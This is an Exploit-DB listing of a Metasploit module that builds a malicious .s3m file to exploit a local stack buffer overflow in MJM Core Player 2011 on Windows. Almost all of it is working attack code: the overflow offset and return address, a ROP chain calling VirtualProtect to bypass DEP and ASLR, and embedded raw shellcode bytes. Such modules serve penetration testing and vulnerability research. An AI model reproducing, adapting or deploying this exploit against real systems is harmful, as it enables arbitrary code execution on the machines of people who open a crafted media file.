Exploit MJM Core Player 2011 - '.s3m' Local Stack Buffer Overflow (Metasploit)

[Exploiter]

EDB-ID

17230

Проверка EDB

1. Пройдено

Автор

METASPLOIT

Тип уязвимости

LOCAL

Платформа

WINDOWS

CVE

null

Дата публикации

2011-04-30

##
# $Id: mjm_coreplayer2011_s3m.rb 12473 2011-04-30 02:36:14Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MJM Core Player 2011 .s3m Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in MJM Core Player 2011
				When opening a malicious s3m file in this applications, a stack buffer overflow can be
				triggered, resulting in arbitrary code execution.
				This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7. 
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
						'rick2600',      #found the vulnerabilities
						'corelanc0d3r',  #rop exploit + msf module
				],
			'Version'        => '$Revision: 12473 $',
			'References'     =>
				[
					[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-004' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'       => 2339,  #about 0x900 bytes
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal Generic DEP & ASLR Bypass',
						{
							'OffSet' => 819,        #core player.exe
							'Ret'    => 0x1000156f, #core player.exe
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 30, 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 's3m file',  'song.s3m']),
			], self.class)
	end

	def junk
		return rand_text(4).unpack("L")[0].to_i
	end

	def exploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		header  = "\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41\x41"
		header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10\x00\x00"
		header << "\x24\x00\x00\x01\x00\x0d\x08\x00\x20\x13\x02\x00\x53\x43\x52\x4d"
		header << "\x40\x06\x94\xb0\x10\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		header << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\xff\xff\xff\xff\xff\xff"
		header << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
		header << "\x06\x00\x03\x01\x02\x04\x05\x07\x08\x09\x09\x0a\x0b\x0c\x0d\x0e"
		header << "\x0f\x10\x10\x11\x12\x13\x14\x15\x16\x16\x17\x18\x19\x18\x1a\x1b"
		header << "\x1b\x1c\xff\xff\x13\x00\x18\x00\x1d\x00\x22\x00\x27\x00\x2c\x00"
		header << "\x31\x00\x36\x00\x3b\x00\x40\x00\x45\x00\x4a\x00\x4f\x00\x54\x00"
		header << "\x59\x00\x5e\x00\x63\x00\x68\x00\x6d\x00\x72\x00\x77\x00\x7c\x00"
		header << "\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa4\x00"
		header << "\xa9\x00\xae\x00\xb3\x00\xb8\x00\xbd\x00\xc2\x00\xc7\x00\xcc\x00"
		header << "\xd1\x00\xd6\x00\xdb\x00\xe0\x00\x14\x01\x4d\x01\x87\x01\xc0\x01"
		header << "\x0e\x02\x5a\x02\x9a\x02\xe9\x02\x40\x03\x7f\x03\xc0\x03\x01\x04"
		header << "\x28\x04\x52\x04\x86\x04\xb9\x04\xea\x04\x1a\x05\x41\x05\x6e\x05"
		header << "\x96\x05\xbc\x05\xeb\x05\x25\x06\x78\x06\xcc\x06\x21\x07\x72\x07"
		header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		header << "\x01"


		footer  = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
		footer << "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
		footer << "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
		footer << "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
		footer << "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
		footer << "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
		footer << "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"
		footer << "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" 
		footer << "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
		footer << "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
		footer << "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68"
		footer << "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" 
		footer << "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		footer << "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"
		footer << "\x00\x00\x00\x00\x00\x00\x00\x00"

		print_status("Preparing payload")

		pivot = [target.ret].pack('V')


		rop_gadgets =
		[
			# pvefindaddr rop 'n roll
			0x004c0021,  # POP ECX # RETN
			0x00000000,
			0x0042850e,  # PUSH ESP # ADD EDI,EDI # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C
			junk,
			junk,
			junk,
			0x00461248,  #  MOV EAX,EDI # POP EDI # POP ESI # RETN
			junk,
			junk,
			junk,
			junk,
			junk,
			0x004ac31d,  # POP EBX # RETN
			0x00000900,
			0x004a8032,  # POP ESI # RETN
			0x00000080,
			0x10009ea7,  # ADD EAX,ESI # POP ESI # RETN
			junk,
			0x004def0d,  # XCHG EAX,EBP # RETN
			0x004c0145,  # POP EAX # RETN 
			0x005e0ae0,  # VirtualProtect
			0x00408242,  # MOV EAX,DWORD PTR DS:[EAX] # RETN
			0x0052001a,  # XCHG EAX,ESI # RETN 00
			0x004c0729,  # POP EDX # RETN
			0x00000040,
			0x004c0021,  # POP ECX # RETN
			0x00401000,  # RW
			0x00448142,  # POP EDI # RETN  
			0x004ae7ce,  # RET
			0x004c0145,  # POP EAX # RETN
			0x004ae7ce,  # RET
			0x0052158e,  # PUSHAD # RETN 00 
		].pack("V*")


		buffer  = rand_text(target['OffSet'])
		buffer << pivot
		buffer << rop_gadgets
		buffer << make_nops(100)
		buffer << payload.encoded

		filecontent = header + buffer + footer

		print_status("Writing payload to file")

		file_create(filecontent)

	end

end